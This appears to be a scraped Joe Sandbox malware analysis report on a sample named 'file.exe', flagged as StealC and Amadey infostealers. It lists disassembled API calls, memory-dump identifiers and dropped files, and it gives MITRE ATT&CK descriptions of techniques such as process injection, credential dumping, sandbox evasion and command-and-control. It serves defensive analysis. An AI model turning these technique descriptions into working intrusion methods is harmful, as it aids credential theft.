malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHI

C:\ProgramData\BKEBFHIJECFIDGDGCGHC

C:\ProgramData\FCGCGDHJ

C:\ProgramData\GDGHJEHJJDAAAKEBGCFCAAAAEH

C:\ProgramData\GIIEGHID

C:\ProgramData\IIEHJEHDBGHIDGDGHCBG

C:\ProgramData\JEGDGIIJJECFIDHJJKKFCAECFH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre